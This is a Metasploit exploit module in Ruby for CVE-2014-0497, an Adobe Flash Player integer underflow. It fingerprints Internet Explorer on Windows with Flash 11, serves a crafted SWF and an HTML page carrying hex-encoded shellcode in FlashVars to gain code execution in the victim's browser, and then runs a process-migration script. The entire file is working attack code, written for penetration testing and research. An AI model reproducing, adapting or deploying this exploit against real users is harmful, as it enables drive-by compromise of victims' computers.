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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::BrowserExploitServer
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "Adobe Flash Player Integer Underflow Remote Code Execution",
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      'Description'    => %q{
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        This module exploits a vulnerability found in the ActiveX component of Adobe Flash Player
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        before 12.0.0.43. By supplying a specially crafted swf file it is possible to trigger an
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        integer underflow in several avm2 instructions, which can be turned into remote code
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        execution under the context of the user, as exploited in the wild in February 2014. This
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        module has been tested successfully with Adobe Flash Player 11.7.700.202 on Windows XP
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        SP3, Windows 7 SP1 and Adobe Flash Player 11.3.372.94 on Windows 8 even when it includes
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        rop chains for several Flash 11 versions, as exploited in the wild.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Unknown',     # vulnerability discovery and exploit in the wild
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          'juan vazquez' # msf module
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2014-0497' ],
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          [ 'OSVDB', '102849' ],
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          [ 'BID', '65327' ],
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          [ 'URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-04.html' ],
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          [ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2014/02/17/a-journey-to-cve-2014-0497-exploit.aspx' ]
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        ],
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      'Payload'        =>
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        {
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          'Space' => 1024,
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          'DisableNops' => true
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        },
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      'DefaultOptions'  =>
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        {
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          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
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          'Retries'              => false
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        },
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      'Platform'       => 'win',
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      # Versions targeted in the wild:
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      # [*] Windows 8:
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      #   11,3,372,94, 11,3,375,10, 11,3,376,12, 11,3,377,15, 11,3,378,5, 11,3,379,14
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      #   11,6,602,167, 11,6,602,171 ,11,6,602,180
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      #   11,7,700,169, 11,7,700,202, 11,7,700,224
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      # [*] Before windows 8:
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      #   11,0,1,152,
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      #   11,1,102,55, 11,1,102,62, 11,1,102,63
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      #   11,2,202,228, 11,2,202,233, 11,2,202,235
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      #   11,3,300,257, 11,3,300,273
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      #   11,4,402,278
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      #   11,5,502,110, 11,5,502,135, 11,5,502,146, 11,5,502,149
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      #   11,6,602,168, 11,6,602,171, 11,6,602,180
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      #   11,7,700,169, 11,7,700,202
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      #   11,8,800,97, 11,8,800,50
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     'BrowserRequirements' =>
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        {
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          :source  => /script|headers/i,
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          :activex => [
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            {
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              clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}',
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              method: 'LoadMovie'
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            }
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          ],
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          :os_name => OperatingSystems::Match::WINDOWS,
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          :ua_name => Msf::HttpClients::IE,
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          :flash   => lambda { |ver| ver =~ /^11\./ }
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        },
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      'Targets'        =>
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        [
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          [ 'Automatic', {} ]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2014-02-05',
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      'DefaultTarget'  => 0))
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  end
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  def exploit
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    @swf = create_swf
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    super
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  end
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  def on_request_exploit(cli, request, target_info)
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    print_status("Request: #{request.uri}")
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    if request.uri =~ /\.swf$/
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      print_status("Sending SWF...")
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      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
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      return
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    end
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    print_status("Sending HTML...")
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    tag = retrieve_tag(cli, request)
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    profile = browser_profile[tag]
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    profile[:tried] = false unless profile.nil? # to allow request the swf
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    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
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  end
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  def exploit_template(cli, target_info)
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    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
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    shellcode = get_payload(cli, target_info).unpack("H*")[0]
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    html_template = %Q|<html>
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    <body>
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    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
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    <param name="movie" value="<%=swf_random%>" />
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    <param name="allowScriptAccess" value="always" />
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    <param name="FlashVars" value="id=<%=shellcode%>" />
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    <param name="Play" value="true" />
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    </object>
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    </body>
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    </html>
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    |
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    return html_template, binding()
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  end
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  def create_swf
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    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0497", "Vickers.swf" )
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    swf =  ::File.open(path, 'rb') { |f| swf = f.read }
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    swf
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  end
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end
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